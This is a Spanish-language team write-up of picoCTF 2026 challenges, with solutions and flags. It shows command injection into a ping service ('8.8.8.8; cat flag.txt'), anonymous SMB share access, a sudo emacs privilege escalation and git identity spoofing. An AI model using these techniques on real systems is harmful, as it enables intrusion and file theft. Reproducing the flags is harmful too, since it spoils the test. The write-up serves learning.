Documentación Concurso picoCTF2026

UNIVERSIDAD AUTÓNOMA DE ZACATECAS

UNIDAD ACADÉMICA DE INGENIERÍA ELÉCTRICA

- Jaime Gabriel Robles Felix
- Josue Perez Adame
- Victor Manuel Colon Lopez
- Jesus David Sánchez Chávez
- Daniel Antonio Fernández Mendoza

Hecho por RootJoss

Piece by Piece

Reto

Piece by Piece

Descripción

After logging in, you will find multiple file parts in your home directory. These parts need to be combined and extracted to reveal the flag.

Additional details will be available after launching your challenge instance.

Solución

picoCTF{z1p_and_spl1t_f1l3s_4r3_fun_8fa833a5}

Notas adicionales

me conecte por ssh y junte todas los archivos de .zip en uno solo y lo abri y use la contraseña 'supersecret' para poder extraer la flag y listo me la dio

Referencias

Hecho por RootJoss
Printer Shares

Reto

Printer Shares

Descripción

Oops! Someone accidentally sent an important file to a network printer—can you retrieve it from the print server?The printer is on `49246`.you can try `$ nc -vz mysterious-sea.picoctf.net 49246`

Solución

picoCTF{5mb_pr1nter_5h4re5_b3f2f855}

Notas adicionales

use el comando "nmap -p 49246 --script smb* mysterious-sea.picoctf.net"
lance un nmap para el escaneo de redes por el puerto 49246 usando un scrip smb, con direccion

Después use "smbclient //mysterious-sea.picoctf.net/shares -p 49246 -N" en donde use el comando smbclient "a la dirección especificada" -p "por dicho puerto " -N "de forma anonima"
y donde despues entre como a una maquina virual y podia ejecuar comandos y ya solo le di ls y vi la flag.txt y le hice un more y listo me dio la flag

Referencias

SUDO MAKE ME A SANDWICH

Solved by SuperDsanchez

Description

Can you read the flag? I think you can!
ssh -p 62266 ctf-player@green-hill.picoctf.net using password d1a1ff7a

Solution:

Iniciamos sesión con las credenciales ssh -p 51350 ctf-player@green-hill.picoctf.net, password d1a1ff7a.

Después verificamos los permisos que tenemos con *sudo -l*, identificamos estos permisos: User ctf-player may run the following commands on challenge: (ALL) NOPASSWD: /bin/emacs entonces ya sólo es abrir el archivo con el comando sudo emacs /home/ctf-player/flag.txt

picoCTF{ju57_5ud0_17_0cdfe631}

MY GIT

Solved by SuperDsanchez

Description

I have built my own Git server with my own rules!
You can clone the challenge repo using the command below.
git clone ssh://git@foggy-cliff.picoctf.net:62044/git/challenge.git
Here's the password: 32a53fa0
Check the README to get your flag!

Solution

Clonamos el repositorio, después verificamos permisos y archivos para hacer lectura del readme.md:

```
git@foggy-cliff.picoctf.net's password:
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.
superdsanchez-picoctf@webshell:~$ cd challenge

superdsanchez-picoctf@webshell:~/challenge$ cat README.md
# MyGit

### If you want the flag, make sure to push the flag!
```

Obtenemos esa pista entonces debemos hacer un push con las credenciales alteradas:

```
git config user.name "root" && \
git config user.email "root@picoctf" && \
echo "PLACEHOLDER_FLAG" > flag.txt && \
git add flag.txt && \
git commit -m "push flag" && \
git push origin master && \
git pull && \
cat flag.txt
```

así obtenemos la bandera con un pull en flag.txt
picoCTF{1mp3rs0n4t4_g17_345y_f3a6488d}

Notas.

El servidor está programado con un *post-receive hook* (un script del lado del servidor de Git) que revisa los commits. Si el commit proviene de la identidad `root:root@picoctf` y contiene un archivo `flag.txt`, el hook sobrescribe tu contenido subido (pushed) con la bandera (flag) real.

Referencias:
https://docs.adaptavist.com/sr4bib/latest/features/script-post-receive-hooks#:~:text=Post%2Dreceive%20hooks%20fire%20after,in%20your%20Continuous%20Integration%20system.

Forensics Git 0

Hecho por: Daniel Antonio Fernández Mendoza

Descripción:
Can you find the flag in this disk image?
Download the disk image here.

Solución
descargamos el archivo con wget y pegamos la url que nos da la descripción, tenemos que descomprimir el archivo, dentro del archivo vienen muchas carpetas y debemos de montarlas, después de esto, se busca en la carpeta de home/ctf-player/Code/secrets/.git ahi viene una nota que es una pista y enseguida la flag.

picoCTF{g17_1n_7h3_d15k_041217d8}

Notas adicionales
Tuve que buscar cómo se accede al historial de un git y como se monta una img con linux

Referencias

bytemancy 0

Hecho por Jaime Robles
Descripcion: Can you conjure the right bytes? The program's source code can be downloaded here. Connect to the program with netcat:
`$ nc candy-mountain.picoctf.net 54262`

Solución

- Al conectarnos al puerto con net cat nos corre un programa automaticamente el cual solicita que ingresemos el codigo ASCII a

Decimal, que era el 101 por 3 veces, al hacer esto nos muestra la flag: **picoCTF{pr1n74813_ch4r5_62006ed0}**

Salida de Terminal:

```
┌──(lighttwo33㉿HackJR)-[~/Descargas]
└─$ nc candy-mountain.picoctf.net 54262
⊹──────────[ BYTEMANCY-0 ]──────────⊹
ᔕ ⟐⊙┼☽ᖘ⟁△◇ᔕ⟐⊙ᚼ☽ᖘ⟁△◇ᔕ⟐⊙ᚼ☽ᖘ⟁△◇ᔕ⟐

Send me ASCII DECIMAL 101, 101, 101, side-by-side, no space.

ᔕ ⟐⊙┼☽ᖘ⟁△◇ᔕ⟐⊙ᚼ☽ᖘ⟁△◇ᔕ⟐⊙ᚼ☽ᖘ⟁△◇ᔕ⟐
⊹──────────────────◇──────────────────⊹
==> eee
picoCTF{pr1n74813_ch4r5_62006ed0}
```

Notas Adicionales

- Fue bastante sencillo obtener la flag.

Quizploit

Hecho por Jaime Robles

Descripcion

Solve the quiz. Download the source code to answer questions here. Download the binary to answer questions here. Connect with the challenge instance here: `nc lonely-island.picoctf.net 49841`

Solucion

- Este reto es un quiz de 13 preguntas, no las documentare todas ya que van desde preguntas muy básicas a unas más elaboradas, voy a destacar las más interesantes como:
- [*] Question number 0x4: Looking at the vuln() function, what is the size of the buffer in bytes? (e.g. 0x10). **R=** En esta pregunta teníamos que entrar a leer el código fuente del archivo en C, ahí se encontraba que utilizaba en hexadecimal: 0x15
- [*] Question number 0x5: How many bytes are read into the buffer? (e.g. 0x10). **R=** Al convertir 0x90 (Estaba escrito en el código fuente) a bytes dan un total de 144.
- [*] Question number 0x6: Is there a buffer overflow vulnerability? (yes/no). **R=** Al investigar de qué trata el buffer overflow vulnerability

nos damos cuenta que aqui si aplica esta vulnerabilidad osea, imaginemos que tenemos un vaso de agua que solo puede contener 21 ml (el buffer), pero tienes un grifo que te permite servir hasta 144 ml, que pasa?, todo se derrama.

- [*] Question number 0xb: What protection is enabled in this binary?. **R=** Al investigar que es y cómo usar el comando checksec (venía en la pista que se resolvía con esto) vemos que es para inspeccionar y poder observar algunas protecciones que tiene el archivo, en este caso encontramos que la única protección habilitada era la **NX.**

Notas Adicionales

- Preguntas sencillas pero hay algunas donde si tenías que realizar una pequeña investigación.

Referencias

- https://medium.com/@slimm609/checksec-d4131dff0fca
- https://www.fortinet.com/resources/cyberglossary/buffer-overflow

ping -cmd

hecho por:
Victor manuel Colón López
Author: Yahaya Meddy

Description
Can you make the server reveal its secrets? It seems to be able to ping Google DNS, but what happens if you get a little creative with your input?
You can connect to the service here nc mysterious-sea.picoctf.net 59871

Solucion:

El reto consistía en si en ingresar una dirección IP para ejecutar un ping en el servidory por eso eso hace honor a su nombr, pero la validación de entrada era incorrecta. Aunque el sistema indicaba que solo permitía la IP 8.8.8.8, en realidad no sanitizaba adecuadamente el input del usuario la cual digamos que de eso se trata o eso es el chiste, lo que permitía inyectar comandos adicionalessi yo podia introducir “8.8.8.8; ls”, el servidor ejecutó tanto el ping como el comando ls, lo que permitió visualizar los archivos disponibles y descubrir la existencia de un archivo que se llama flag,txt y ya se utiliza la misma técnica con el comando 8.8.8.8; cat flag.txt, lo que provocó que el servidor ejecutara el ping, y ya me da la flag.

```
jayyd@MacBook-Pro-de-Victor ~ % nc mysterious-sea.picoctf.net 59871
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8; cat flag.txt
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
```

```
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=9.88 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=9.90 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 9.880/9.888/9.896/0.008 ms
picoCTF{p1nG_cOmm@nd_3xpLOit_su33essFuL_a9326567}%                    jayyd@MacBook-Pro-de-Victor ~ %
```

Notas Adicionales

- La vulnerabilidad ocurre porque no se valida correctamente el input, permitiendo usar ; para ejecutar comandos adicionales para poder entrar al sistema.

Referencias

https://owasp.org/www-community/attacks/Command_Injection

Forensics Git 1

Hecho por: Daniel Antonio Fernández Mendoza

Descripción:
Can you find the flag in this disk image?
Download the disk image here.

Solución
descargamos el archivo con wget y pegamos la url que nos da la descripción, tenemos que descomprimir el archivo, dentro del archivo vienen muchas carpetas y debemos de montarlas, después de esto, se busca en la carpeta de home/ctf-player/Code/secrets/.git ahi viene el registro de commits. Tenemos que buscar entre los commits y ver donde se encuentra la flag.

```
┌──(daniel㉿kali)-[/mnt/…/home/ctf-player/Code/secrets]
└─$ git log --oneline
5fb8194 (HEAD -> master) Remove flag
177789a Add flag

┌──(daniel㉿kali)-[/mnt/…/home/ctf-player/Code/secrets]
└─$ git show 177789a
commit 177789af0b300e043ea8f54ea57d6cee352291ae
Author: ctf-player <ctf-player@example.com>
```

Date: Wed Nov 19 09:20:05 2025 +0000

Add flag

```
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..f150f47
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1 @@
+picoCTF{g17_r3m3mb3r5_d4ddf904}
\ No newline at end of file
```

picoCTF{g17_r3m3mb3r5_d4ddf904}

Notas adicionales
Me base básicamente del Foresincs 0

Referencias

Undo

Victor Manuel Colón López

Author: Yahaya Meddy

Description

Can you reverse a series of Linux text transformations to recover the original flag?

Additional details will be available after launching your challenge instance.

El reto consistió en ir deshaciendo varias transformaciones que se le aplicaron al flag. Primero, el texto estaba codificado en Base64, por lo que se usó base64 -d para obtener el contenido original. Después, el texto estaba al revés, así que puse el rev para ponerlo en el orden correcto. Luego, se habían cambiado los guiones bajos por guiones, por lo que ya puse tr '-' '_' para restaurarlos. ya luego las llaves {} habían sido reemplazadas por paréntesis (), así que puse tr '()' '{}' para recuperar esos caracteres. Finalmente, el texto tenía una transformación ROT13, por lo que qplique tr 'A-Za-z' 'N-ZA-Mn-za-m' para obtener el flag original.

```
picoCTF{Revers1ng_t3xt_Tr4nsf0rm@t10ns_dcc1896c}
```

Referencias

- https://man7.org/linux/man-pages/man1/tr.1.html